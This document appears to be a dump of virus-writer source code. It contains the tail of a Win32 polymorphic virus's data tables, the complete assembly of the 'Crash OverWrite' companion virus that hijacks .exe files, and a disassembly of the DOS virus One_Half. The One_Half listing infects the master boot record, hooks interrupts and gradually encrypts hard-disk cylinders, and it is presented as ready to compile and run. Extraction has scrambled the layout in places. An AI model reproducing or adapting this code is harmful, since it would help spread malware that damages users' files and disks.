key for the poly decryptor lenght of decryptor virus lenght + decryptor lenght of the decryption loop we save which kind of encryption we use
Handles of the dll's we use Kernel32.dll might be nessecairy *g* Imagehlp.dll to create checksums Advapi32.dll for registry access Winsck32.dll for pinging
; The Offsets of the API's we use ; Here we save their Offset
XFindFirstFileA XFindNextFileA XFindClose XCreateFileA XSetFileAttributesA XCloseHandle XCreateFileMappingA XMapViewOfFile XUnmapViewOfFile XGetWindowsDirectoryA XGetSystemDirectoryA XGetCurrentDirectoryA XSetCurrentDirectoryA XGetFileAttributesA XGetTickCount XCreateThread XGetSystemTime
dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd
(?) (?) (?) (?) (?) (?) (?) (?) (?) (?) (?) (?) (?) (?) (?) (?) (?)
XCheckSumMappedFile
dd (?)
XRegOpenKeyExA XRegQueryValueExA XRegCloseKey
dd (?) dd (?) dd (?)
Xsocket XWSACleanup XWSAStartup Xclosesocket Xsendto Xsetsockopt
dd dd dd dd dd dd
(?) (?) (?) (?) (?) (?)
KernelAddy MZAddy
dd (?) dd (?)
; Data to search Kernel ; Pointer to kernel PE-Header ; Pointer to kernel MZ-Header
RegHandle
dd (?)
; Handle to open Reg-Key
windir curdir
counter ATableVA NTableVA OTableVA
db 7Fh dup (0) db 7Fh dup (0)
dw dd dd dd
(?) (?) (?) (?)
NewSize dd (?) CheckSum dd (?) HeaderSum dd (?)
; Directory's ; here we save the directory's ; we want to infect ; ; ; ; ;
some data for infection a counter to know how many names we have compared the Address Table VA the Name Pointer Table VA the Name Pointer Table VA
; we save the new size of the file here ; checksum ; crc of header ; Data to find files
WIN32_FIND_DATA WFD_dwFileAttributes WFD_ftCreationTime WFD_ftLastAccessTime WFD_ftLastWriteTime WFD_nFileSizeHigh WFD_nFileSizeLow WFD_dwReserved0
label dd FILETIME FILETIME FILETIME dd dd dd
byte ? ? ? ? ? ? ?
WFD_dwReserved1 WFD_szFileName WFD_szAlternateFileName WFD_szAlternateEnding
dd db db db
? 260d dup (?) 13 dup (?) 03 dup (?)
FileHandle MapHandle MapAddress
dd dd dd
(?) (?) (?)
; handle of file ; Handle of Map ; offset of Map
Attributes threadID
dd dd
(?) (?)
; ; ; ;
Buffer
db
337d dup (?)
saved File-Attributes payload runs in an extra thread we need this buffer for follwing the shortcuts
; this buffer is nessecairy ; to create a winsock connection ( ping ) WSA_DATA SystemTime: wYear wMonth wDayOfWeek wDay wHour wMinute wSecond wMilliseconds
db
400d dup (0) ; needed to get the current day
dw dw dw dw dw dw dw dw
(?) (?) (?) (?) (?) (?) (?) (?)
; Sunday = 0, Monday = 1 .. etc.
EndBufferData: ; *************************************************************************** ; ------------------------[ That's all folks ]------------------------------; *************************************************************************** end Virus
; comment * ; ; Name: Crash OverWrite :-) ; Coder: BeLiAL ; ; This is my first win32 virus.Its only a ; companionvirus but it does his work very ; well.Its perhaps coded a bit lame but ; im sure nobody will care.It infects the ; first file in the directory and renames ; the victimfile to .dat .I perhaps i ; make it resident or infecting more file... ; Greetings and thanx go out ; to Evul,Toro,Padisah and Wallo. ; ; BeLiAL ;* .386 .model flat Locals Jumps Extrn Extrn Extrn Extrn Extrn Extrn Extrn Extrn Extrn Extrn Extrn Extrn Extrn
FindFirstFileA FindNextFileA CreateFileA WriteFile ReadFile GlobalAlloc GlobalFree ExitProcess WinExec CopyFileA CloseHandle SetFilePointer GetFileSize
:PROC :PROC :PROC :PROC :PROC :PROC :PROC :PROC :PROC :PROC :PROC :PROC :PROC
.data MAX_PATH FALSE changeoffset winsize
EQU EQU EQU EQU
FILETIME struct dwLowDateTime dwHighDateTime FILETIME ends
0ffh 0 094fh 05h
DWORD DWORD
? ?
WIN32_FIND_DATA struct dwFileAttributes DWORD ? ftCreationTime FILETIME <> ftLastAccessTime FILETIME <> ftLastWriteTime FILETIME <> nFileSizeHigh DWORD ? nFileSizeLow DWORD ? dwReserved0 DWORD ? dwReserved1 DWORD ? cFileName BYTE MAX_PATH dup(?) cAlternate BYTE 0eh dup(?) ends FindFileData WIN32_FIND_DATA <>
memptr counter1 filehandle filesize exefile myname
secbuffer
dd dd dd dd db db dd dd dd dd dd dd db
0 0 0 00001000h '*.exe',0 'crashoverwrite.exe',0 0 0 0 0 0 0 '[Crash OverWrite] coded by BeLiAL'
.code start: push offset FindFileData push offset exefile call FindFirstFileA already_infected: mov eax,dword ptr nFileSizeLow.FindFileData cmp eax,00001000h je reanimate mov eax,offset cFileName.FindFileData find_dot1: cmp byte ptr ds:[eax],'.' je next_step1 add eax,1 jmp find_dot1 next_step1: add eax,1 push eax mov byte ptr ds:[eax],'d' add eax,1 mov byte ptr ds:[eax],'a' add eax,1 mov byte ptr ds:[eax],'t' mov ebx,offset cFileName.FindFileData mov eax,offset secbuffer find_dot2: mov dh,byte ptr ds:[ebx] cmp edx,0 je next_step2 mov byte ptr ds:[eax],dh add ebx,1 add eax,1 jmp find_dot2 next_step2: pop eax push FALSE push offset secbuffer mov byte ptr ds:[eax],'e' add eax,1 mov byte ptr ds:[eax],'x' add eax,1 mov byte ptr ds:[eax],'e' push offset cFileName.FindFileData call CopyFileA push FALSE push offset cFileName.FindFileData push offset myname call CopyFileA
open_victim: push 0 push 080h push 3h push 0h push 0h push 0c0000000h push offset FindFileData.cFileName Call CreateFileA mov filehandle,eax cmp eax,0ffffffffh je reanimate getmemory: push filesize push 0 Call GlobalAlloc ;get the memory mov edx,eax cmp eax,0 je close_file push edx copyinmemory: push 0 push offset counter1 push filesize push edx push filehandle Call ReadFile pop edx mov dword ptr memptr,edx ;for later use add edx,changeoffset mov eax,offset cFileName.FindFileData modify_victim: mov bh,byte ptr ds:[eax] mov byte ptr ds:[edx],bh cmp bh,0 je set_pointer add eax,1 add edx,1 jmp modify_victim set_pointer: push 0 push 0 push 0 push filehandle call SetFilePointer copy_to_file: push 0 push offset counter1 push filesize push memptr push filehandle call WriteFile close_file: push filehandle call CloseHandle reanimate: mov eax,offset myname find_dot3: mov bx,word ptr ds:[eax] cmp bx,'e.' je next_step3 cmp bx,'E.' je next_step3
add eax,1 jmp find_dot3 next_step3: add eax,1 mov byte ptr ds:[eax],'d' add eax,1 mov byte ptr ds:[eax],'a' add eax,1 mov byte ptr ds:[eax],'t' add eax,1 mov byte ptr ds:[eax],00h that_was_all: push winsize push offset myname call WinExec final: push 0 call ExitProcess ends end start
; Virus One_Half ; Disassembly done by Ratter ; ; ; ; ;
It's a polymorfic reverzibel multiparit virus from Slovak coder known under the nick Vyvojar(==Developer). It's also author of Level3. This is a disassembly I enjoyed the most. It's a one of the best virus in the dead world of DOS. It's functional. Just compile and run :)
; To Vyvojar: If ya're still living, could ya pls lemme know about it? ; I would be very happy if i could speak with you sometimes ... ; To otherz who are reading this: Pls lemme know if there's any bug in the code. ; Or just to say ya like this :) ; You can reach me on Undernet channel #virus, #3c or via email: [email protected] ; Compile: ; tasm /t/m2 one_half.asm ; tlink /t one_half.obj .486p .487 seg_a
segment byte public use16 assume cs:seg_a, ds:seg_a
org 100h one_half start:
proc
far
jmp loc_08d1 ;jmp loc_0208 db loc_0168: db jmp ; db loc_0182: cld std jnz jmp ; db ; loc_01B1: xor jmp ; db ; loc_01f5: db mov db db jmp ; db ;
; jmp to viruz_start ; jmp to decode routine_start
101 dup (0) 81h,0C0h,0FEh, 6Eh ; add loc_056c 19 dup (0)
short loc_01B1 loc_08D1 40 dup (0)
[di], ax short loc_0168 64 dup (0)
2eh di, 582h 36h 3eh loc_049b 10 dup (0)
; cs: ; ss: ; ds:
ax, 6EFEh
loc_0208: push ax nop db 36h ; ss: sti db 36h ; ss: clc sti jmp loc_0381 ; db 367 dup (0) ; loc_0381: push cs cld jmp loc_047c ; db 246 dup (0) ; loc_047C: nop sti db 36h ; ss: clc nop pop ds db 36h ; ss: jmp loc_01f5 ; db 21 dup (0) ; loc_049b: cld db 3eh ; ds: mov ax, 0bfbah db 3eh ; ds: std jmp loc_01b1 ; db 148 dup (0) ; loc_0539: db 81h,0FFh, 5Ah, 13h ; cmp sti jmp loc_0182 ; db 43 dup (0) ; loc_056c: clc sti cmc db 3eh ; ds: nop inc di db 36h ; ss: jmp loc_0539 pop ss ; db 12 dup (0) ; ;
di, 135ah
loc_0582: ; p label near p_ equ offset the_second_part - offset boot_start p__ equ presun_rutiny + (p - buffer) ; _mcb_ db 'Z' ; it'z last_block dw 9F01h ; PSP dw 0FFh ; 4096 bytez db 3 dup(?) ; reserved db 'COMMAND', 0 ; blockz_owner_name ... ; exe_header dw 20CDh ; exe_signature part_pag dw 501eh page_cnt dw 09b4h relo_cnt dw 0 hdr_size dw 21cdh min_mem dw 1f58h max_mem dw 0bac3h relo_ss dw 03d0h exe_sp dw 0efe8h exe_flag db 00h ; checksum db 0b4h exe_ip dw 0100h relo_cs dw 0FFF0h tabl_off dw 0BA05h ; decode_routine_table: dw 0208h ; here'z the table dw 0381h ; of offsetz, where are dw 047ch ; the chunkz of code of dw 01f5h ; decode_routine dw 049bh xor_offset dw 01b1h dw 0168h dw 056ch dw 0539h jnz_offset dw 0182h ; beginning_ofs dw 07beh ; overwritten_bytez: db 06h, 83h, 05h, 00h, 00h, 2Eh db 8Ch, 0Eh, 85h, 05h, 4Fh, 02h db 00h, 2Eh,0A1h,0A3h, 05h, 26h db 0C7h db 'G.com <jmen' db 0Bh, 26h, 3Ah, 47h, 21h,0BAh db 4Ah, 05h, 0Fh db '„_driveru>', 0Ah, 't' db 0FFh,0C6h, 44h,0FFh, 00h,0B8h db 03h, 4Bh,0BBh, 80h, 00h, 8Ah db 0Ch, 0Ah,0C9h,0BAh, 68h, 04h db 0Fh db 'ys ...', 0Ah, 0Dh, '$' db 17h db 'instalovan' db 02h,0EBh, 03h,0E9h, 43h, 02h db 4Eh, 56h, 89h, 36h ; ; hdr_size_
dw
10h
date_div page_size_ ;
dw dw
1Eh 200h
; Here starts boot_version of One_Half boot_start: xor bx, bx cli mov sp, 07c00h ; set up stack mov ss, bx ; 2 0000h:7c00h sti mov ds, bx sub word ptr ds:[413h], 4 ; dec mem_size o 4 kila mov cl, 6 int 12h ; gimme mem_size shl ax, cl ; count the segment mov dx, 80h ; first harddisk, 0. head mov es, ax ; my_new_seg 2 es db 0b9h ; mov cx, ? viruz_start_sec dw 0bh ; gimme virus_start_sec mov ax, 0207h ; read 7 secz push es ; (viruz_body) int 13h mov ax, offset the_second_part - p push ax retf ; go2 new_segment_part ; the_second_part: mov word ptr ds:[21h * 4 + 2], cs; store cs 2 21h * 4 + 2 mov ax, word ptr ds:[46ch] ; gimme tick_counter push ds push cs ; make ds = cs pop ds mov word ptr ds:[mov_bx_? - p], ax ; store counter mov ax, cs inc ax mov word ptr ds:[_mcb_ + 1 - p], ax ; store block_owner mov byte ptr ds:[run_jmp - p], 0; nulluj displ8 2 set our ; own _mcb_ as last_one call sub_078b ; move presun_rutiny pop es mov bx, sp ; 7c00h 2 bx push es mov si, word ptr es:[bx+p_] ; gimme cur_cyl_number_ ; _2_crypt db 81h, 0feh ; cmp si, ? lowest_cyl dw 07h ; less than lowest_cyl ? jbe loc_06d6 push si ; nope sub si, 2 ; ok crypt 2 cylinderz mov word ptr ds:[not_crypt_cyl - p], si ; store cyl - 2 pop si mov ah, 08h ; gimme drivez_paramz int 13h jc loc_06d6 ; error ? mov al, cl ; gimme max_sec_number and al, 03fh ; voklesti max_sec mov byte ptr ds:[secz_count - p__], al ; secz_2_crypt mov cl, 1 ; starting_sec 2 cl mov bh, 7eh ; buffer_ptr 2 7e00h mov word ptr ds:[buf_ptr - p__], bx ; store buffer_ptr mov dl, 80h ; set up drive 2 first harddisk loc_069E:
dec si ; dec cylinder_number call sub_0798 ; convert cyl_number push dx loc_06A3: mov ah, 2 ; read 1 cylinder push ax int 13h pop ax jc short loc_06B4 ; error ? db 0e8h ; call crypt_ dw offset crypt_ - presun_rutiny + buffer - next_ next_ label near ; crypt_ it inc ah ; make function 03h push ax int 13h ; and write crypted_cyl pop ax loc_06B4: jc short loc_072B ; error ? test dh, 3Fh ; last head ? jz short loc_06BF dec dh ; dec head jmp short loc_06A3 ; and go on loc_06BF: ; yope pop dx db 81h, 0feh ; cmp si, ? not_crypt_cyl dw 1bfh ; ok 2 cylinderz crypted_ ? ja loc_069E loc_06C6: ; yope mov bh, 7Ch ; buffer 2 7c00h mov es:[bx+p_], si ; store new cur_cyl_number_2_ mov ax, 301h ; _crypt mov cx, 1 ; and write partition_table mov dh, ch ; (boot_start) back int 13h loc_06D6: mov ds:[cur_cyl_number - p__], si db 81h, 0feh ; cmp si, ? one_half_cyl dw 136h ; more than one_half_crypted ? ja short loc_06E3 call sub_07EC ; ok try 2 write text loc_06E3: ; nope not yet mov ax, 201h ; ok now read mov bx, 7C00h ; 2 buffer 7c00h mov cx, ds:[viruz_start_sec - p] ; gimme viruz_... dec cx ; go2 orig_partition_table mov dx, 80h ; orig_partition_table int 13h cli les ax, dword ptr es:[13h * 4] ; gimme old_int_13h mov ds:[old_int_13h - p__], ax ; and store it mov ds:[old_int_13h - p__ + 2], es pop es push es les ax, dword ptr es:[1ch * 4] ; gimme old_int_1ch mov ds:[old_int_1ch - p], ax ; and store it mov ds:[old_int_1ch - p + 2], es pop es push es ; set up my own mov word ptr es:[13h * 4], offset new_int_13h - p__ mov word ptr es:[13h * 4 + 2], cs ; new_int_13h mov word ptr es:[1ch * 4], offset new_int_1ch - p mov word ptr es:[1ch * 4 + 2], cs ; and new_int_1ch sti
push retf
bx ; and jump 2 orig_partition
; Diz uncryptz_cylinderz if any error occurez loc_072B: xor ah, ah push ax int 13h ; try 2 reset the disk pop ax loc_0731: inc dh ; inc head mov ah, dh ; head 2 ah pop dx ; pop max_head push dx cmp ah, dh ; cmp cur_head with max_head ja short loc_074E ; above ? mov dh, ah ; cur_head 2 dh mov ah, 2 ; read cylinder push ax int 13h pop ax db 0e8h ; call crypt_ dw offset crypt_ - presun_rutiny + buffer - next__ next__ label near ; uncrypt_ it inc ah push ax int 13h ; and write it back pop ax jmp short loc_0731 loc_074E: ; yope (error on first_cyl) pop dx ; pop max_head inc si ; inc cyl_number jmp loc_06C6 ; and end with crypt_ new_int_1ch: push ax push ds push es xor ax, ax mov ds, ax les ax, dword ptr ds:[21h * 4] ; gimme int_21h mov cs:[old_int_21h - p__], ax ; store offset mov ax, es ; gimme seg cmp ax, 800h ; are we under 800h ? ja short loc_0783 mov word ptr cs:[old_int_21h - p__ + 2], ax ; yope ; we've got dos_int_21h_seg les ax, dword ptr cs:[old_int_1ch - p]; gimme old_int_1ch mov ds:[1ch * 4], ax ; restore it back mov word ptr ds:[1ch * 4 + 2], es mov word ptr ds:[21h * 4], offset new_int_21h - p;and set up mov word ptr ds:[21h * 4 + 2], cs ; my new_int_21h loc_0783: ; nope pop es pop ds ; restore regz pop ax ; and db 0EAh ; jmp far ptr old_int_1ch old_int_1ch dw 0FF53h, 0F000h one_half
endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Diz movez some routinez ... sub_078B proc near mov si, offset presun_rutiny - p mov di, offset buffer - p mov cx, offset f_read_ - offset presun_rutiny - 4 cld rep movsb retn sub_078B endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Diz makez from cyl_number_in_si valid cx_reg sub_0798 proc near push ax mov ax, si mov ch, al push cx mov cl, 4 shl ah, cl pop cx mov al, 3Fh ; '?' and dh, al and cl, al not al push ax and ah, al or dh, ah pop ax shl ah, 1 shl ah, 1 and ah, al or cl, ah pop ax retn sub_0798 endp text_ db db
db 'Dis is one half.', 0Dh, 0Ah, 'Pr' 'ess any key to continue ...', 0Dh 0Ah
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Diz writez text if run_counter is even and it iz even day etc. sub_07EC proc near mov ah, 4 ; gimme CMOS date_&_time int 1Ah jc short loc_ret_0816 test dl, 3 ; day even etc. ? jnz short loc_ret_0816 test word ptr ds:[run_counter - p], 1; run_counter is even jnz short loc_ret_0816 mov cx, offset sub_07ec - offset text_; gimme text_length mov si, offset text_ - p ; gimme text_offset mov ah, 0Fh ; gimme cur_video_page_number int 10h ; why ? mov bl, 7 mov ah, 0Eh ; print char 2 cur_page ...
locloop_080D: lodsb ; gimme byte int 10h loop locloop_080D ; and go on xor ah, ah int 16h loc_ret_0816: retn sub_07EC endp
; wait 4 keyprezz
; and end ...
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Diz callz int_21h_file_fc with a handle in bx sub_0817 proc near push bx db 0bbh ; mov bx, ? handle_ dw 0 ; gimme handle int 21h ; call int_21h pop bx retn ; and end ... sub_0817 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Diz callz int_13h int_13h proc near pushf cli db 9Ah ; call far ptr int_13h_addr int_13h_addr dw 774h, 70h retn int_13h endp
; This is used for int_13h tracing new_int_01h: push bp mov bp, sp db 0ebh jump_patch_? db offset loc_084f - ($ + 1); jmp short loc_084F db 81h, 7eh, 04h ; cmp word ptr [bp+4], ? which_segment_? dw 0253h ja short loc_0853 push ax push bx push ds lds ax, dword ptr [bp+2] db 0bbh new_int_01h_mov_bx_? dw 5200h ; mov bx, ? mov cs:[int_13h_addr - p][bx], ax mov cs:[int_13h_addr - p + 2][bx], ds mov byte ptr cs:[jump_patch_? - p][bx], offset loc_084f - (offset jump_patch_? + 1) pop ds pop bx pop ax loc_084F: and byte ptr [bp+7], 0FEh
loc_0853: pop bp iret ; Diz installz viruz 2 mem loc_0855: pop bx ; pop index pop ax ; pop es_seg push ax dec ax ; go2 mcb_block mov ds, ax ; store it 2 ds cmp byte ptr ds:[0], 5Ah ; last one ? jne short loc_08CE add ax, ds:[3] ; add blockz_size sub ax, 0FFh ; sub 4 viruz_body mov dx, cs ; (4 our bufferz etc.) mov si, bx ; index 2 so mov cl, 4 shr si, cl ; make paragraphz add dx, si ; add it 2 cs db 2eh, 8bh, 0b7h, 1ah, 00h; mov si, cs:[1ah][bx] ; gimme min_mem (from exe_header) cmp si, 106h jae short loc_0881 mov si, 106h loc_0881: add dx, si ; add min_mem cmp ax, dx ; less ? jb short loc_08CE mov byte ptr ds:[0], 4Dh ; make middle_block sub word ptr ds:[3], 100h ; sub 100h paragraphz ; (0ffh viruz and 01h _mcb_) mov ds:[12h], ax ; set new mem_top 2 PSP mov es, ax ; gimme where_2_move_seg push cs pop ds inc ax mov ds:[1], ax ; store owner mov byte ptr [which_jump_? - p][bx], 0EBh mov si, bx ; gimme index xor di, di ; move 2 0000h mov cx, offset buffer - p ; gimme viruz_size rep movsb ; and finally move push es pop ds call sub_078B ; move presun_rutiny xor ax, ax mov ds, ax cli mov ax, ds:[21h * 4] ; gimme old_int_21h mov es:[old_int_21h - p__], ax ; store it mov ax, word ptr ds:[21h * 4 + 2] mov es:[old_int_21h - p__ + 2], ax mov word ptr ds:[21h * 4], offset new_int_21h - p mov word ptr ds:[21h * 4 + 2], es ; and set my own sti ; int_21h loc_08CE: jmp loc_0A1E ; and go on ; Diz iz the beginning ... loc_08D1: call sub_08D4
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_08D4 proc near pop si sub si, offset sub_08d4 - p ; count where we are mov [new_int_01h_mov_bx_? - p][si], si push es push si ; si = 582h cld inc word ptr [run_counter - p][si] mov byte ptr [which_jump_? - p][si], 74h xor ax, ax mov es, ax mov ax, es:[46Ch] ; gimme tick_counter mov [mov_bx_? - p][si], ax ; store it mov [crypt_value - p][si], ax; 2 timez mov ax, 4B53h ; am i in mem ? int 21h cmp ax, 454Bh ; check mark je short loc_0965 mov ah, 52h ; nope so go on int 21h ; gimme list_of_listz_ptr mov ax, es:[bx-2] ; gimme 1. MCB_segment mov [which_segment_? - p][si], ax ; store it mov byte ptr [jump_patch_? - p][si], 0 mov ax, 3501h ; get int_01h int 21h push bx ; store it to stack push es mov ax, 3513h ; get int_13h int 21h mov [int_13h_addr - p][si], bx ; store it to mov [int_13h_addr - p + 2][si], es; variablez mov ax, 2501h ; set my int_01h lea dx, [new_int_01h - p][si] int 21h lea bx, [buffer - p][si] mov cx, 1 ; read partition_table mov dx, 80h push cs pop es pushf pop ax or ah, 1 ; set trap_flag push ax popf mov ax, 201h ; and trace int_13h call int_13h pushf pop ax and ah, 0FEh ; null trap_flag push ax popf pop ds pop dx pushf mov ax, 2501h ; restore int_01h int 21h popf jc short loc_09C0 ; any errorz ? push cs pop ds
cmp word ptr [bx+25h], offset the_second_part - p jne short loc_0968 ; iz in partition my viruz ? ; (mark) loc_0965: jmp loc_0A1D loc_0968: cmp word ptr [bx + 180h], 72Eh; next mark je short loc_09C0 mov ah, 8 ; gimme hard_paramz mov dl, 80h ; prvniho_hadru call int_13h jc short loc_09C0 ; error ? and cx, 3Fh ; voklesti max_sector mov [max_sektor - p][si], cl mov [max_sektor_2 - p][si], cl and dh, 3Fh ; voklesti headz mov [max_heads - p][si], dh mov ax, 301h sub cl, 7 mov [partition_sec_n - p][si], cl mov dx, 80h call int_13h ; write partition_table jc short loc_09C0 ; error ? push cx push dx push si xchg di, si mov cx, 4 ; 4 entryz add bx, 1EEh ; go2 last_parition_entry locloop_09A9: mov al, [bx+4] ; read FAT type cmp al, 1 ; DOS 12bit ? je short loc_09C3 cmp al, 4 ; 4 = DOS 16bit ? jb short loc_09B8 ; 5 = EXTENDED_DOS_PARTITION ? cmp al, 6 ; 6 = BIGDOS (nad 32Mbyte) ? jbe short loc_09C3 loc_09B8: sub bx, 10h ; every record has 10h bytez loop locloop_09A9 pop si pop dx pop cx loc_09C0: jmp loc_0855 ; jmp 2 mem_install loc_09C3: mov cx, [bx+2] ; gimme boot_start mov dh, [bx+1] ; gimme head call sub_0D2F ; convert_it add si, 7 ; make valid cyl_number mov [lowest_cyl - p][di], si ; store it xchg si, ax mov cx, [bx+6] ; gimme end cylinder mov dh, [bx+1] ; gimme head call sub_0D2F ; convert_it mov [max_cyl_number - p][di], si; store it mov [mov_ax_? - p][di], si ; store it add ax, si shr ax, 1 ; div with 2 mov [one_half_cyl - p][di], ax; store one_half pop si pop dx
pop cx mov ax, 307h xchg bx, si inc cx mov [viruz_start_sec - p][bx], cx call int_13h ; write viruz_ body jc loc_09C0 ; (whole) lea si, [boot_start - p][bx]; and now move boot lea di, [buffer - p][bx] push di mov cx, offset the_second_part - offset boot_start rep movsb db 0b8h ; mov ax, ? mov_ax_? dw 265h ; store starting_sector_ stosw ; _2_ crypt mov ax, 301h ; write the new parition_table pop bx mov cx, 1 call int_13h jc loc_09C0 ; error ? loc_0A1D: pop bx ; nope loc_0A1E: push cs ; dis is a renewal of parts pop ds ; that were overwritten push cs ; by decode routine pop es db 8Dh,0B7h ; lea si, cs:[overwritt...][bx] dw offset overwritten_bytez - p db 81h,0C3h ;add bx, offset decode_... dw offset decode_routine_table - p mov cx, 0Ah ; there'z 0ah_partz locloop_0A2D: mov di, [bx] ; gimme where_2_move_offset push cx mov cx, 0Ah ; every_part haz 0ah bytez rep movsb pop cx inc bx ; go2 next_move_offset inc bx loop locloop_0A2D ; and go on pop es db 83h,0C3h ; add bx, 0 - (....) db 0 - (offset beginning_ofs - offset exe_header) mov di, es ; bx 2 exe_header_offset add di, 10h ; count start_seg add [bx+16h], di ; store relo_cs add [bx+0Eh], di ; store relo_ss cmp word ptr [bx+6], 0 ; what'bout relo_cnt ? je short loc_0AB6 ; there'z any ? mov ds, es:[2ch] ; yope; gimme environment_seg xor si, si ; start at offset 00h loc_0A56: inc si cmp word ptr [si], 0 ; eof formal_environment ? jne loc_0A56 add si, 4 ; go2 prog_name xchg dx, si mov ax, 3D00h ; open prog_file int 21h jc short loc_0ADB ; error ?
push cs pop ds mov ds:[handle_ - p - 10h][bx], ax ; store handle_ mov dx, [bx+18h] ; gimme tabl_offset mov ax, 4200h ; f_ptr 2 it call sub_0817 push es ; store start_seg xchg di, ax loc_0A79: push ax lea dx, cs:[reloc_buffer - p - 10h][bx] mov cx, [bx+6] ; gimme relo_cnt cmp cx, (name_buffer + 34 - random_number) shr 2 jb short loc_0A8A ; 2 big ? mov cx, (name_buffer + 34 - random_number) shr 2 ; yope gimme max_relo_cnt_now loc_0A8A: sub [bx+6], cx ; sub it from relo_cnt push cx shl cx, 1 ; mul it with 4 shl cx, 1 ; (segment:offset) mov ah, 3Fh ; read reloc_table call sub_0817 jc short loc_0ADB ; error ? pop cx pop ax xchg si, dx locloop_0A9D: add [si+2], ax ; make relo_seg les di, dword ptr [si] ; gimme relo_addr add es:[di], ax ; and add start_seg add si, 4 ; go2 next entry loop locloop_0A9D cmp word ptr [bx+6], 0 ; relo_cnt is null ? ja loc_0A79 ; if yope go on pop es ; nope mov ah, 3Eh ; so close_file call sub_0817 loc_0AB6: ; nope push es pop ds cmp byte ptr cs:[bx+12h], 0 ; com_file ? jne short loc_0ACC mov si, bx ; gimme exe_header_offset mov di, 100h mov cx, 3 ; move 3 bytez 2 100h rep movsb pop ax jmp short loc_0AD7 ; and go on loc_0ACC: ; nope it'z exe_file pop ax cli mov sp, cs:[bx+10h] ; gimme sp mov ss, cs:[bx+0Eh] ; gimme ss sti loc_0AD7: jmp dword ptr cs:[bx+14h] ; finally jmp 2 real_prog_start loc_0ADB: mov ah, 4Ch ; there waz an error ! int 21h
; reloc_buffer ;
label
near
; in : dx = max_number ; out : dx = random_number random_number: mov cs:[mov_si_? - p], si push ax push bx push cx push dx db 0b9h ; mov cx, ? mov_cx_? dw 0b0d4h db 0bbh ; mov bx, ? mov_bx_? dw 6210h mov dx, 15Ah mov ax, 4E35h xchg si, ax xchg dx, ax test ax, ax jz short loc_0AFC mul bx loc_0AFC: jcxz short loc_0B03 xchg cx, ax mul si add ax, cx loc_0B03: xchg si, ax mul bx add dx, si inc ax adc dx, 0 mov cs:[mov_bx_? - p], ax mov cs:[mov_cx_? - p], dx mov ax, dx pop cx xor dx, dx jcxz short loc_0B1E div cx loc_0B1E: pop cx pop bx pop ax pop si push si cmp byte ptr cs:[si], 0CCh ; there'z a breakpoint ? loc_0B27: je loc_0B27 ; if yope stay in loop ; (nice_try ...) db 0beh ; mov si, ? mov_si_? dw 5cbh retn sub_08D4 endp
; decode_routine haz 10 piecez ... (10 instructionz) ; instr_start: db 01h ; instruction_length db 50h ; push ?_reg ;
db 01h push_what db 0eh ; db 01h db 1fh ; db 03h mov_index_? db 0bfh viruz_start dw 0582h ; db 03h mov_?_instr db 0b8h crypt_viruz_value dw ; db 02h db 31h xor_?_instr db 05h ; db 04h db 81h add_?_instr db 0c0h next_crypt_value_ dw ; db 01h inc_?_instr db 47h ; db 04h db 81h cmp_index_? db 0ffh viruz_end dw 135ah ; db 02h db 75h db 0efh ; ; unimportant_instr: ; nop stc clc sti db 2Eh db 36h db 3Eh cld std cmc ;
; instruction_length ; push cs or push ss ; instruction_length ; pop ds ; instruction_length ; mov ?_index_reg, im16 ; im16 ; instruction_length ; mov ?_reg, im16 0bfbah ; im16 ; instruction_length ; xor [index_reg], ?_reg ; ModR/M ; instruction_length ; add ?_reg, im16 ; ModR/M, opcode 6efeh ; im16 ; instruction_length ; inc ?_reg ; instruction_length ; cmp ?_index_reg, im16 ; ModR/M, opcode ; im16 ; instruction_length ; jnz disp8
; cs: ; ss: ; ds:
